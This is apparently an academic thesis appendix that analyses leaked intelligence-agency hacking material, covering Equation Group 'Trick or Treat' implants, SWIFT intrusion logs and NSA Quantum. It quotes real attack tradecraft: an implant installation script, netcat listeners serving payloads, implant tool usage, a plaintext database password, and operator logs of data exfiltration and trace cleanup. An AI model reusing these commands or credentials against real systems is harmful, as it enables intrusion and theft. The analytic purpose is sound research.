./2015-09-20150911-280-CSIT-15085-NfLog/2015-09-20150911-280-CSIT-15085-NfLog.pdf:
./2015-08-20150807-252-MIRcon-Something-About-WMI/
2015-08-20150807-252-MIRcon-Something-About-WMI.pdf:↪→
./2015-08-20150814-259-Eset-Liberpy/2015-08-20150814-259-Eset-Liberpy.pdf:
./2015-09-20150904-275-Cisco-Rombertik/2015-09-20150904-275-Cisco-Rombertik.pdf:
./2015-09-20150804-268-CSIT-15078-Skipper/2015-09-20150804-268-CSIT-15078-Skipper.pdf:
./2015-08-20150814-257-CSIT-15016-Elirks-RAT/2015-08-20150814-257-CSIT-15016-Elirks-RAT.pdf:
./2015-06-WMI-Persistence_Proof_of_Concept-Supplemental_Report/
2015-06-WMI-Persistence_Proof_of_Concept-Supplemental_Report.pdf:↪→
./2015-08-McAfee-DLL-Hijack-PoC-Report/2015-08-McAfee-DLL-Hijack-PoC-Report.pdf:
./2015-08-20150807-254-CI-PLUGX7/2015-08-20150807-254-CI-PLUGX7.pdf:
./2015-09-20150911-279-CSIT-15083-HTTPBrowser/2015-09-20150911-279-CSIT-15083-HTTPBrowser.pdf:
./2014-11-DKOM-PoC-Outline/2014-11-DKOM-PoC-Outline.pdf:
./2015-01-DKOM-Prolaco-Final-DKOM-PoC-Report/2015-01-DKOM-Prolaco-Final-DKOM-PoC-Report.pdf:
./2015-09-20150821-265-VB-Dridex/2015-09-20150821-265-VB-Dridex.pdf:
./2015-09-20150904-274-SentinelOne-Rombertik/2015-09-20150904-274-SentinelOne-Rombertik.pdf:
./2015-09-20150821-261-CERT-EU-Kerberos_Golden_Ticket/
2015-09-20150821-261-CERT-EU-Kerberos_Golden_Ticket.pdf:↪→
./2015-09-20150904-271-RSA-Terracotta-VPN/2015-09-20150904-271-RSA-Terracotta-VPN.pdf:
./2015-09-20150911-277-FireEye-HammerToss/2015-09-20150911-277-FireEye-HammerToss.pdf:
./2015-08-20150807-253-TrendMicro-Understanding-WMI-Malware/
2015-08-20150807-253-TrendMicro-Understanding-WMI-Malware.pdf:↪→
./2015-09-20150911-276-Symantec-Regin/2015-09-20150911-276-Symantec-Regin.pdf:
./2015-08-20150807-255-SY-Buttrerfly/2015-08-20150807-255-SY-Buttrerfly.pdf:
./2015-09-20150821-263-NMehta-Theories_on_Persistence/
2015-09-20150821-263-NMehta-Theories_on_Persistence.pdf:↪→
./2015-09-20150804-266-Symantec-Evolution_of_Ransomware/
2015-09-20150804-266-Symantec-Evolution_of_Ransomware.pdf:↪→
Listing A.4: Malware Analysis and PoC documents by Raytheon Blackbird Technologies
1 of 2
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./2015-08-20150807-251-Symantec-ZeroAccess-Indepth/
2015-08-20150807-251-Symantec-ZeroAccess-Indepth.pdf:↪→
./2015-08-HeapDestroy-DLL-Rootkit-PoC-Report/2015-08-HeapDestroy-DLL-Rootkit-PoC-Report.pdf:
./2015-06-Software_Restriction_Policy-PoC-Report/
2015-06-Software_Restriction_Policy-PoC-Report.pdf:↪→
./2015-08-20150814-260-Eset-Potao/2015-08-20150814-260-Eset-Potao.pdf:
./2015-09-20150828-269-CSIT-15079-Cozy_Bear/
2015-09-20150828-269-CSIT-15079-Cozy_Bear.pdf:↪→
./2015-09-20150828-270-Dell_SecureWorks-Sakula/2015-09-20150828-270-Dell_SecureWorks-Sakula.pdf:
./2015-09-20150911-278-VB-Gamker/2015-09-20150911-278-VB-Gamker.pdf:
./2015-09-20150804-267-CanSecWest13-DEP-ASLR-WO-ROP-JIT/
2015-09-20150804-267-CanSecWest13-DEP-ASLR-WO-ROP-JIT.pdf:↪→
./2015-09-20150821-264-TW-WildNeutron/2015-09-20150821-264-TW-WildNeutron.pdf:
./2015-09-20150904-272-MalwareBytes-HanJuan_Drops_New_Tinba_Version/
2015-09-20150904-272-MalwareBytes-HanJuan_Drops_New_Tinba_Version.pdf:↪→
./2015-08-20150814-258-Symantec-Black_Vine/2015-08-20150814-258-Symantec-Black_Vine.pdf:
./2014-12-DKOM-Interim-DKOM-PoC-Report/2014-12-DKOM-Interim-DKOM-PoC-Report.pdf:
./2015-08-20150814-256-CSIR-15005-Stalker-Panda/
2015-08-20150814-256-CSIR-15005-Stalker-Panda.pdf:↪→
./2015-07-PoC-Anti_Debugging_and_Anti_Emulation/
2015-07-PoC-Anti_Debugging_and_Anti_Emulation.pdf:↪→
./2015-09-20150904-273-FireEye-Window_into_Russian_Cyber_Ops/
2015-09-20150904-273-FireEye-Window_into_Russian_Cyber_Ops.pdf:↪→
vault7/document$ pdfgrep -rm1 "Raytheon Blackbird Technologies"|awk '{print $1}'|wc -l
37
Listing A.5: Malware Analysis and PoC documents by Raytheon Blackbird Technologies
2 of 2
Appendix B
Trick or Treat
This appendix provides a descriptive analysis of the Trick or Treat information and in-
cludes the scripting used in the production of this thesis to analyse certain information
contained therein. It also provides opscript and tool output listings which are referenced
to substantiate statements.
The count of 304 servers was determined with the following command string which counts
the unique, sorted list of server host-names and their associated IP addresses:
trickortreat$ find . -type f |awk -F/ '{print $3}' |sort -u |wc -l
304
By searching for unique projects, two projects, Intonation and PitchImpair, were identi-
ﬁed:
$ grep project Linux/bin/pyside/targets.py |sort -u
self.project='INTONATION'
self.project='PITCHIMPAIR'
These projects serve to compromise Internet facing systems which are then used as jump-
ing oﬀ points for operations against target systems.1
The PitchImpair project is referenced in multiple tools e.g. autonoproxy and autoutils
from a network point of view while user.mission.generic.COMMON.old refers to it as
infrastructure and fw_setup.pl as external network listeners. See Listing B.10 for more
details.
While the Intonation project is referenced far less than the PitchImpair one, it is included
alongside PitchImpair in the same format in tn.spayed and targets.py indicating that
they serve the same purpose. See Listing B.11, for more details.
1Equation Group Leak: Linux/etc/opscript.txt
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Eight exploits (DewDrop, Incision, Jackladder, Orangutan, Patchicillin, Reticulum, Side-
track and StoicSurgeon) were identiﬁed and both the Intonation and PitchImpair projects
used all of them as per Listing B.1.
The vast majority had targeted the Solaris OS with a small fraction targeting other OSs
as demonstrated by the following search results:
$ rgrep OS |grep solaris |wc -l
889
$ rgrep OS |grep -v solaris |wc -l
15
While there were eight types of exploit used against the Solaris systems as shown in
Listing B.6, other Unix systems were targeted with only four exploits: Dewdop, Incision,
JackLadder and StoicSurgeon as determined by:
1 $ for string in `rgrep OS |grep -v solaris |awk -F 'OS:' '{ print $2 }' |sort` ; \
2 do rgrep $string | awk '{ print $3}' |grep -v solaris; \
3 done |sort -u
4 DEWDROP
5 INCISION
6 JACKLADDER
7 STOICSURGEON
The list of non Solaris operating systems revealed that Linux, HPUX, SCO, FreeBSD and
Irix have also been compromised as per Listing B.7.
The top-level domains of the compromised systems by the PitchImpair and Intonation
projects were counted using the method shown in the example below which revealed that
there were 24 .net domains:
trickortreat$ find . -type f |awk -F/ '{print $3}' | sort -u |grep .net_ |wc -l
24
Table B.1 shows a break down of the number of compromised systems per TLD of the
PitchImpair and Intonation projects. The top ﬁve country-speciﬁc TLDs are for China,
Japan, Korea, India, Germany and Russia.
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Table B.1: Frequency of Top Level Domains used for PitchImpair and Intonation
TLD n TLD n TLD n TLD n TLD n TLD n TLD n
.ba 1 .cn 37 .es 16 .it 11 .na 1 .ro 1 .tr 1
.be 3 .co 3 .ﬁ 2 .jo 1 .ni 1 .rr 1 .tw 16
.bo 1 .cu 1 .gr 2 .jp 36 .nl 3 .ru 13 .ve 2
.br 2 .de 15 .hu 1 .kr 30 .nu 1 .rw 1 .com 12
.bw 1 .dk 1 .in 16 .kz 1 .ph 1 .sa 4 .net 24
.ch 3 .dz 1 .ir 1 .lk 1 .pk 5 .se 6 .org 1
.cl 2 .eg 2 .ir. 1 .mx 11 .pl 4 .th 2 .unknown 1
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B.1 Script Listings
trickortreat $ find intonation/ pitchimpair/ -type f |awk -F/ '{print $3}' |awk
'{print $1}' |sort -u↪→
dewdrop
incision
jackladder
orangutan
patchicillin
reticulum
sidetrack
stoicsurgeon
trickortreat $ find intonation/ -type f |awk -F/ '{print $3}' |awk '{print $1}' |sort
-u↪→
dewdrop
incision
jackladder
orangutan
patchicillin
reticulum
sidetrack
stoicsurgeon
trickortreat$ find pitchimpair/ -type f |awk -F/ '{print $3}' |awk '{print $1}' |sort
-u↪→
dewdrop
incision
jackladder
orangutan
patchicillin
reticulum
sidetrack
stoicsurgeon
Listing B.1: Trick or Treat: Implants by project
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$ cat Dewdrop_3.1.0.X_README
-rwxr-xr-x 1 root root 40013 Oct 14 13:39 Dewdrop_3.1.0.1_i386-linux
-rwxr-xr-x 1 root root 37504 Oct 14 13:41 Dewdrop_3.1.0.2_sparc-solaris8-10
-rwxr-xr-x 1 root root 37504 Oct 15 15:02 Dewdrop_3.1.0.3_sparc-solaris-gcc
-rwxr-xr-x 1 root root 79758 Oct 15 15:03 Dewdrop_3.1.0.4_i386-freebsd-gcc
-rwxr-xr-x 1 root root 66369 Oct 14 13:41 ../bin/tipoff-3.1.0.x
2009-10-15 15:09:05 EDT These Dewdrops, used with this tipoff (not released yet as of
15 OCT)↪→
can handle the new tipoff option --execute, which uses the reverse callback to upload
the↪→
binary without any shell or uu*code. Use the ourtn/-irtun option -w BIN to use this
feature,↪→
using -J to piont to ../bin/tipoff-3.1.0.x.
Listing B.2: DewDrop via tipoﬀ without shell or uu*code
Linux/bin/jl
Linux/bin/jl.nc
Linux/bin/jl.command
Linux/bin/jacktelnet.sh
Linux/bin/jackpop
Linux/bin/jackin.sh
Listing B.4: Jack Ladder, Jack Telnet, Jack Pop and Jack In
$ cat jl.nc
#!/bin/bash
echo "Use ^c twice to stop ./jl..."
echo " 1 for nc, 1 for while loop"
while true; do
port=$RANDOM
echo
echo "---> Listening on $port <---"
echo
echo $port > /home/liam/src/EquationGroupLeak/Linux/bin/.PORT
echo $(tty) > /home/liam/src/EquationGroupLeak/Linux/bin/.TTY
nc -l -p $port
sleep 2
done
Listing B.3: JackLadder NetCat
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####################################################
######## ORANGUTAN
####################################################
mv /usr/kernel/fs/fdfs /usr/lib/sparc/lddstub;cp or /usr/kernel/fs/fdfs
mv /usr/kernel/fs/sparcv9/fdfs /usr/lib/sparc/cpp;cp sparcv9/or
/usr/kernel/fs/sparcv9/fdfs↪→
cp ka /platform/SUNW,SystemEngine/kadb
-pause
-rm tlm sparcv9/tlm int sparcv9/int lso sparcv9/lso so sparcv9/so or sparcv9/or ka
chown root:sys /kernel/drv/tl /kernel/drv/sparcv9/tl
chown root:sys /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec
chown root:sys /usr/sbin/sysiddev
chown bin:bin /usr/vmsys/bin/pipe
chown root:sys /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs
chown -R root:sys /platform/SUNW,SystemEngine /usr/lib/sparc
chown root:bin /usr/lib/sparc
chmod 755 /kernel/drv/tl /kernel/drv/sparcv9/tl
chmod 755 /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec
chmod 711 /usr/sbin/sysiddev
chmod 755 /usr/vmsys/bin/pipe
chmod 755 /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs
chmod -R 755 /platform/SUNW,SystemEngine /usr/lib/sparc
-pause
From: https://github.com/x0rz/EQGRP/blob/master/linux/etc/in-rt-jl-or
Listing B.5: Orangutan Installation gs.in-rt-jl-or
$ for string in `rgrep OS |grep solaris |awk -F 'OS:' '{ print $2 }' |sort` ; do
rgrep $string | awk '{ print $3}' |grep -v solaris; done |sort -u↪→
DEWDROP
INCISION
JACKLADDER
ORANGUTAN
PATCHICILLIN
RETICULUM
SIDETRACK
STOICSURGEON
Listing B.6: Trick or Treat Solaris exploits
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Signal Value Action Comment
SIGQUIT 3 Core Quit from keyboard
SIGILL 4 Core Illegal Instruction
SIGABRT 6 Core Abort signal from abort(3)
SIGFPE 8 Core Floating-point exception
SIGSEGV 11 Core Invalid memory reference
SIGBUS 10,7,10 Core Bus error (bad memory access)
SIGSYS 12,31,12 Core Bad system call (SVr4); see also seccomp(2)
SIGTRAP 5 Core Trace/breakpoint trap
SIGXCPU 24,24,30 Core CPU time limit exceeded (4.2BSD);
SIGXFSZ 25,25,31 Core File size limit exceeded (4.2BSD); see setrlimit(2)
SIGIOT 6 Core IOT trap. A synonym for SIGABRT
SIGUNUSED -,31,- Core Synonymous with SIGSYS
Listing B.8: List of signals that core dump
$ for string in `rgrep OS |grep -v solaris |awk -F 'OS:' '{ print $2 }' |sort` ; do
rgrep $string | awk '{ print $(NF)}' |grep -v solaris; done |sort -u↪→
OS:alphaev6-dec-osf4.0f
OS:hppa1.1-hp-hpux10.20
OS:hppa2.0w-hp-hpux11.00
OS:i386-pc-sco3.2v5.0.5
OS:i386-unknown-freebsd4.0
OS:i686-pc-linux-gnu-2.2.16C37_III
OS:i686-pc-linux-gnu-2.4.20-8
OS:i686-pc-linux-gnu-2.4.7-10
OS:mips-sgi-irix6.4
OS:x86-linux
OS:x86-linux-redhat-7.2
Listing B.7: Other *nix operating systems targeted by Trick or Treat
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1 ../bin/packrat -n /bin/nc 1234
2
3 local: noserver
4 remote: sendmail
5
6 Executing:
7
8 [packrat]# cp -pf noserver sendmail
9 [packrat]# chmod 755 sendmail
10 [packrat]# compress -c sendmail > sendmail.Z
11 [packrat]# chmod 755 sendmail.Z
12 [packrat]# uuencode sendmail.Z sendmail.Z > sendmail.Z.uu
13 [packrat]# ls -alL sendmail*
14 -rwxr-xr-x 1 owner group 170488 Apr 21 17:50 sendmail
15 -rwxr-xr-x 1 owner group 107717 Jun 2 16:19 sendmail.Z
16 -rw-r--r-- 1 owner group 148439 Jun 2 16:19 sendmail.Z.uu
17 [packrat]# head -2 sendmail*uu
18 begin 755 sendmail.Z
19 M'YV0?XHP,1)`0```"!,J%`"`(<*#`3XP2DA#H<6*(``4`(#"(D(#%`$<K#@R
20 [packrat]# (ls -alL sendmail* noserver* ; ls -alL /current/up/morerats/* 2>/dev/null)
| egrep "170488" | sort -u↪→
21 -rwxr-xr-x 1 liam liam 170488 Apr 21 17:50 noserver
22 -rwxr-xr-x 1 liam liam 170488 Apr 21 17:50 sendmail
23 [packrat]# grep "22195 167" /current/up/morerats/sums | sort -u
24 grep: /current/up/morerats/sums: No such file or directory
25 [packrat]# file -L noserver sendmail
26 noserver: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked,
interpreter /usr/lib/ld.so.1, stripped↪→
27 sendmail: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked,
interpreter /usr/lib/ld.so.1, stripped↪→
28
29 Now sending sendmail.Z.uu via 1234/tcp with:
30
31 [packrat]# /bin/nc -vv -l -p 1234 < sendmail.Z.uu
32 Listening on [0.0.0.0] (family 0, port 1234)
Listing B.9: Execution of PackRat
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B.2 PitchImpair
windows/Resources/Ops/Tools/finishOp.pl
Linux/etc/autonoproxy
Linux/etc/autoutils
Linux/etc/autoproblem
Linux/etc/autospooftest
Linux/etc/opscript.txt.sh
Linux/etc/norc
Linux/etc/autobwsofar
Linux/doc/old/etc/user.mission.sicklestar.COMMON
Linux/doc/old/etc/user.mission.generic.COMMON.old
Linux/bin/tn.spayed
Linux/bin/scrubhands
Linux/bin/finishOp.pl.winbox
Linux/bin/alwayspcap.pl
Linux/bin/pyside/targets.py
Linux/bin/fw_setup.pl
Listing B.10: References to PitchImpair
B.3 Intonation
Linux/bin/tn.spayed
Linux/bin/jl.command
Linux/bin/jl
Linux/bin/pyside/targets.py
Listing B.11: References to Intonation
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B.4 Sidetrack
$ egrep '^# ' base.py |egrep 'Name|Purpose|class'
# PROTOCOL class
# Name : SetDestination
# Purpose: Open a socket connection to the destination
# Name : SendTo
# Purpose: Package and send data to the implant
# Name : RecvFrom
# Purpose: Get data back from the implant and decode it
# COMMAND class
# Name : Run
# Purpose: Run's the command
# IMPLANT class
# Name : RegisterCommands
# Purpose: Used to register commands for this implant
# Name : AddCommand
# Purpose: Add a command to the internal command dictionary
# Name : GetCommand
# Purpose: Search for a command in the internal command dictionary
Listing B.12: Pyside base.py functions 1 of 2
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# TARGET class
# Name : AddImplant
# Purpose: Notifies the class that a specific implant may be used
# Name : SetImplantOpt
# Purpose: Gets options to be later passed on to the implant
# Name : GetImplantOpts
# Purpose: Return the implant options to the implant
# SESSION class
# Name : GetCommand
# Purpose: Locates and returns a command
# Name : RegisterImplant
# Purpose: Adds the specified implant to the database
# Name : GetImplant
# Purpose: Returns an implant object
# Name : RegisterTarget
# Purpose: Add a target to the target list
# Name : GetTarget
# Purpose: Returns an initialized target object from the list
# Name : RegisterProtocol
# Purpose: Registers a communications protocol
# Name : GetProtocol
# Purpose: Returns the protocol object from the list
Listing B.13: Pyside base.py functions 2 of 2
1 $ egrep 'self.usage|self.info' sidetrack.py
2 self.usage = "multiaddr <0|1>"
3 self.info = "Let pyside know that the target has multiple addresses"
4 self.usage = "connect <listen_address>:<listen_port>/<callback_port> <trigger_port>"
5 self.info = "Connect to SIDETRACK"
6 self.usage = "init"
7 self.info = "Initialize the implant"
8 self.usage = "dnsload <filename>"
9 self.info = "Send DNS data from a file to the target"
10 self.usage = "dnsadd <from ip> <from mask> <longevity> <type> <class> <name> [dns
flags]"↪→
11 self.info = "Add a DNS entry into sidetrack (see also dnsset)"
12 self.usage = "dnsrm <rule|all>"
13 self.info = "Remove a dns rule"
14 self.usage = "dnsset <rule> <ignore|count|active>"
15 self.info = "Turn a DNS rule on or off"
16 self.info = "Upload a binary dns response packet"
17 self.usage = "dnsraw <rule> <filename>"
18 self.info = "Set the action for a rule"
19 self.usage = "dnsaction <rule> <ans|auth|add> <name> <type> <class> <ttl> <data>"
20 self.usage = "dnslist [-v] [rule] [section]"
21 self.info = "Retrieve a section of a rule from SIDETRACK"
22 self.usage = "dnssave [rule] [filename]"
23 self.info = "Save one of more rules"
Listing B.14: Pyside commands and information 1 of 2
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1 self.usage = "rediradd <protocol | all> <host_A> <host_B> [-insert <rule>]\n
[-ttl↪→
2 (reset | <num>)] [-nocrypto] [-afix] [-tfix] [-samesum]\n [-longevity <time>]
[-conntimeout <time>]\n\n <host_A>/<host_B> format:
<ip_address>[:<local_port>/<remote_port>]\n"
↪→
↪→
3 self.info = "Add a REDIRECT rule into SIDETRACK's rule set"
4 self.usage = "redirlist [rule]"
5 self.info = "List redirect entries."
6 self.usage = "redirset <rule|all> <active|inactive>"
7 self.info = "Set a redirect rule as being active or inactive."
8 self.usage = "connrm <rule|all>"
9 self.info = "Remove a connection entry (or all connection entries)"
10 self.usage = "connlist [-c <rule> | -r <redir>]"
11 self.info = "Lists a (or all) connection rules"
12 self.usage = "redirrm <rule|all>"
13 self.info = "Remove a redirect rule (or all redirect rules)"
14 self.usage = "cclist"
15 self.info = "List all of the command and control sessions"
16 self.usage = "ccremove <rule>"
17 self.info = "Remove a command and control session (see also: done)"
18 self.usage = "stunload <magic>"
19 self.info = "Remove SIDETRACK from the target"
Listing B.15: Pyside commands and information 2 of 2
Appendix C
SWIFT Penetration Tool Output
This appendix provides opscript and tool output listings from the leaked ﬁles which are
referenced to substantiate statements.
C.1 Tool Output
Usage: ourtn [options] target-IP-or-host [ anothertarget [another...]]
RAT UPLOAD/EXECUTE options:
-U file Upload this local file instead (execute if -e also there).
-e Execute file just uploaded using random listen/callback port.
-w BIN Use the tipoff \"--execute RATFILE\" binary upload (no ftshell,
no interactivity, no choice in remote ratname). Requires
DEWDROP 3.1.*.* or better. (\"--upload-execute\" for DEWDROP v4)
TRIGGER options:
-Y DD: Uses tipoff to send the trigger (udp/tcp/icmp/???) to DD.
Defaults to triggering a random UDP port. See optional -y/-F
arguments, also. To use with the various DD triggers:
UDP trigger to random port just -Y is needed
UDP trigger to specific port add -y####
ICMP trigger add -sI (-y is ignored)
TCP trigger add -s### (tcp port ###)
Firewall aware TCP trigger add -s### -F fwname
**Non-IP trigger add -F\"-r proto\" (-y ignored)
** The Non-IP triggers may not work. \"-r 50\" does (ipv6-crypt).
See /etc/protocols for more candidates.
-5 VER Use \"tipoff-VER.X\" to trigger DD. For older 3.X, use -Y53 and for
newer 4.X, use -Y54. Requires -Y option to also be set. To use a
tipoff version more specific than that, either use -J to point to a
specific binary, or use -Y5a.b.c.d, and as long as ../bin/tipoffs/
contains a binary matching that version, it should work.
Listing C.1: Perl script, ourtn, command options and syntax
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OPTIONS
-I UID Op User ID (getopdata uses this)
-n list Use the comma delimited list of IPs as name servers,
replacing old resolv.conf.
-P proj Project Name (getopdata uses this)
-S #### Schedule ID (YYMMDD########), 14 digits. Or use -S Fake to put
in a temporary ID and getopdata will require the real one later.
-t Use the FG ops disk (no thumb)
-T ##-## Your Room-Station numbers
Usage: scrubhands.sh [options] <local_ip> <netmask> <router>
or: scrubhands.sh [options] <local_ip>
or: scrubhands.sh [options] <local_ip>/mask/gw
where: if only <local_ip> is given, <netmask> defaults to
255.255.255.0 and <router> defaults to <local_net.1>
Listing C.2: Scrubhands command options and syntax
7:37 PM 7/2/2012 - ----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
Target Address : 80.227.254.201
Source Address : 212.19.128.4
Target Protocol : ICMP
ICMP type,code : 8,0
Keyfile : D:\DSZOPSDisk\Resources\Pc\Keys\jeepflea_market\private_key.bin
Callback Address : 192.168.206.4
Callback Dst Port : 34519
Callback Src Port : 0
Redirect through : 192.168.254.71:555
Final Destination : 192.168.208.10
Listing C.3: Trigger of CordialFlimsy to gain access to Windows server, Ensbdmgmt1
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Trigger: SUCCESSFUL - please update IN NEXT OPPLAN
----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
Target Address : 213.132.40.101
Source Address : 202.145.16.4
Target Protocol : TCP
Target Dst Port : 110
Target Src Port : 3054
TCP Flags : 0x02
Keyfile : D:\DSZOPSDisk\Resources\Pc\Keys\jeepflea_market\private_key.bin
Callback Address : 202.145.16.4
Callback Dst Port : 443
Callback Src Port : 0
Redirect through : 192.168.254.71:444
Final Destination : 192.168.1.3
Id : 0x0000000100011bd2
Packet Trailer : 0x4a11
----====**** CORDIALFLIMSY TRIGGER END ****====----
Listing C.4: Trigger of CordialFlimsy to access Windows server, endxbmail001
Client Version: 2.1.0 (Nov 7 2011 16:44:14)
----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
Target Address : 10.10.10.180
Source Address : 192.168.1.3
Target Protocol : ICMP
ICMP type,code : 8,0
Keyfile : D:\DSZOPSDisk\Resources\Pc\Keys\jeepflea_market\private_key.bin
Callback Address : 192.168.1.3
Callback Dst Port : 2143
Callback Src Port : 0
Redirect through : 127.0.0.1:444
Final Destination : 10.10.10.180
Id : 0x0000000100010a85
Packet Trailer : 0x61ae
----====**** CORDIALFLIMSY TRIGGER END ****====----
Listing C.5: Trigger of CordialFlimsy to access Windows server, "store"
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Trigger: 0x1000125aa ICMP 8,0 Listen RHP (1922)
----====**** CORDIALFLIMSY TRIGGER BEGIN ****====----
Target Address : 192.168.200.51
Source Address : 192.168.200.11
Target Protocol : ICMP
ICMP type,code : 8,0
Keyfile : D:\DSZOpsDisk\Resources\Pc\Keys\JEEPFLEA_MARKET\private_key.bin
Listen Address : 0.0.0.0
Listen Port : 1922
Redirect through : 127.0.0.1:2160
Final Destination : 192.168.200.51
Id : 0x00000001000125aa
Packet Trailer : 0x2f78
Listing C.6: CordialFlimsy access to Windows server, ensbdsl1
scansweep allows the scanning of large blocks of IPs more safely then via manual
scanning↪→
scansweep [OPTIONS]
TYPE FLAGS:
[-type [scan] [type] [port]]
Type of scan to conduct, or a queue file containing line seperated (job ip,ip,ip,...)
entries↪→
TARGET FLAGS:
[-target (ip,ip-ip,ip/net,ip/netmask,file,host)]
Specification of targets to scan
MODIFIER FLAGS:
[-period (range)]
Period at which to run the command (ex. 30s 10-20m) (default: 15s-45s)
Listing C.7: ScanSweep usage options
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5:36 AM 11/7/2012 PSP installed - Kaspersky Endpoint Security 8 for Windows
| Kaspersky Endpoint Security 8 for Windows | 8.1.0.831 |
Kaspersky Lab | 2012-08-06 |↪→
| Kaspersky Security Center Network Agent | 9.2.69 |
Kaspersky Lab | |↪→
5:38 AM 11/7/2012 Uptime: 18 days, 13 hours, 30 minutes, 21 seconds
Idle : 0 days, 0 hours, 4 minutes, 54 seconds
5:39 AM 11/7/2012 Auditing:ON
AuditCategorySystem - Success Failure
AuditCategoryLogon -
AuditCategoryObjectAccess - Success Failure
AuditCategoryPrivilegeUse - Success Failure
AuditCategoryDetailedTracking -
AuditCategoryPolicyChange - Success Failure
AuditCategoryAccountManagement - Success Failure
AuditCategoryDirectoryServiceAccess - Success Failure
AuditCategoryAccountLogon - Success Failure
5:41 AM 11/7/2012 logs are clean
dir -mask * -path * -recursive -max 0 -age 15m
5:53 AM 11/7/2012 NO ZB because of PSP
Listing C.8: Detection of Kaspersky Endpoint Security prevents installation of ZB
put D:\DSZOPSDisk\Preps\swift_msg_queries_all.1368533247.sql -name
C:\$Recycle.Bin\S-1-5-~1\$ICD12FA.txt↪→
D:\alliance\access\database\bin\sqlplus.exe saauser/Aetq9f7CQtljCHtAmstCGF64C
SQL>@$ICD12FA.txt
output file:$ICD12FB.txt
2:16 PM 5/14/2013 -- getting file
2:20 PM 5/14/2013 -- clean up
delete $ICD12FA.txt
delete $ICD12FB.txt
Listing C.9: Database extraction and exﬁltration of data
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ensbdmgmt2 (192.168.208.11)
PITCHIP:50986
PITCHIP:41027
PSP: N/A
<CallbackAddress>163.22.20.4</CallbackAddress>
- <CallbackPorts>
- <CallbackPair>
- <SrcPort>0</SrcPort>
- <DstPort>50986</DstPort>
- </CallbackPair>
- <CallbackPair>
- <SrcPort>0</SrcPort>
- <DstPort>41027</DstPort>
- </CallbackPair>
- </CallbackPorts>
Listing C.10: Pitch Impair server and port details
- Configuration:
-
- <?xml version='1.0' encoding='UTF-8' ?>
- <PCConfig>
- <Flags>
- <PCHEAP_CONFIG_FLAG_CALLBACK_NOW/>
- <PCHEAP_CONFIG_FLAG_IGNORE_WIN_FIREWALL/>
- <PCHEAP_CONFIG_FLAG_DONT_CREATE_WINDOW/>
- </Flags>
- <Id>0x0</Id>
- <StartListenHour>0</StartListenHour>
- <StopListenHour>0</StopListenHour>
- <CallbackAddress>139.18.13.2</CallbackAddress>
- <CallbackPorts>
- <CallbackPair>
- <SrcPort>0</SrcPort>
- <DstPort>443</DstPort>
- </CallbackPair>
- <CallbackPair>
- <SrcPort>0</SrcPort>
- <DstPort>48071</DstPort>
- </CallbackPair>
- </CallbackPorts>
- </PCConfig>
Listing C.11: PeddleCheap conﬁguration with listening hours
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SWIFT collect:
put D:\DSZOpsDisk\tmp\MSIef7bc.LOG -name C:\windows\temp\MSIef7bc.LOG
cd C:\windows\temp
run -command "cmd.exe /q" -redirect
D:\alliance\access\database\bin\sqlplus.exe saauser/Aetq9f7CQtljCHtAmstCGF64C
@MSIef7bc.LOG
Enter Output File Name: MSIef7bd.LOG
Enter BEGINNING date in the format "yyyymmdd": 20130201
Enter ENDING date in the format "yyyymmdd": 20130301
ended out ~19m.
get C:\WINDOWS\temp\MSIef7bd.LOG
deleted MSIef7bd.LOG
Listing C.12: SQL query from ﬁle with output to ﬁle fetched and deleted
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Enter Output File Name: MSIef7b0.LOG
Enter BEGINNING date in the format "yyyymmdd": 20130421
Enter ENDING date in the format "yyyymmdd": 20130510
file ended up being 57 bytes.
deleted.
re-queried:
Enter Output File Name: MSIef7b0.LOG
Enter BEGINNING date in the format "yyyymmdd": 20130421
Enter ENDING date in the format "yyyymmdd": 20130604
file was 57 bytes again.
grabbed and deleted.
deleting MSIef7bc.LOG
going to do a survey of the database to see what's wrong here...
put D:\DSZOpsDisk\tmp\MSI6fe11.LOG -name C:\windows\temp\MSI6fe11.LOG
D:\alliance\access\database\bin\sqlplus.exe / as SYSDBA
@MSI6fe11.LOG
MSI6ff11.LOG output filename.
file is appox. 5k
grabbed and deleting
deleted MSI6fe11.LOG
7:35 PM 6/5/2013 all done here; no residue. time to go.
Listing C.13: SQL output too small prompting attacker to investigate
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3:20 AM 8/29/2013 -- looking for targs
nslookup endxb-kbaluyot - 192.168.153.144
nslookup kbaluyot - 10.10.10.118
nslookup managment - failed
netbios -target 10.10.10.118
---------------------------------------------------------------------
ENDXB-COBAS UNIQUE REGISTERED Workstation Service
EASTNETS GROUP REGISTERED Domain Name
ENDXB-COBAS UNIQUE REGISTERED File Server Service
EASTNETS GROUP REGISTERED Browser Service Elections
Listing C.14: Example of network reconnaissance
grabbed:
D:\alliance\access\database\network\admin\
tnsnames.ora
sqlnet.ora
listener.ora
Listing C.15: Gathering Oracle database network conﬁguration ﬁles
Appendix D
NSA Quantum
This appendix provides a description of the various Quantum techniques that are used to
target individuals with man-on-the-side attacks based on the content of the leaked ﬁles.
D.1 Quantum Techniques
Quantum is a man-on-the-side attack that works by having the network router (which
resides between the target's computer and the server) send a copy of the target's request
to an Special Source Operations server (NSA, 2013a,b). If the server detects that the
packet is Quantum tasked, it sends it on to the TAO's FoxAcid server.
Provided the external IP address of the target is in the list of Classless Inter-Domain
Routing IP addresses supplied, the FoxAcid server will respond (NSA, 2013a). In parallel
with the response from the legitimate server, the FoxAcid server then responds with a
packet into which it has injected a FoxAcid URL. If the FoxAcid packet reaches the target
before the legitimate server's packet, the web-page of the legitimate site is loaded along
with the FoxAcid URL leading to the FoxAcid exploit server in the background.
If FoxAcid determines that the browser is exploitable and that any PSP software on the
target does not constitute a risk, it sends a Stage 1 implant to the target resulting in
compromise of the target.
Quantum targets requests to many popular websites e.g. Facebook, Gmail, Hotmail,
Yahoo, Youtube and Yandex Mail but can also successfully target static IPs. The dif-
ference between Quantum Theory and Quantum nation is that the former deploys the
stage 1 implant, Validator and later CommonDeer while the latter deploys a stage 0 im-
plant, SeasonedMoth (or Smoth) which expires after 30 days unless instructed to persist
for longer (NSA, 2013a). The document clariﬁes that an IOS device would always have
the Validator implant deployed to it.
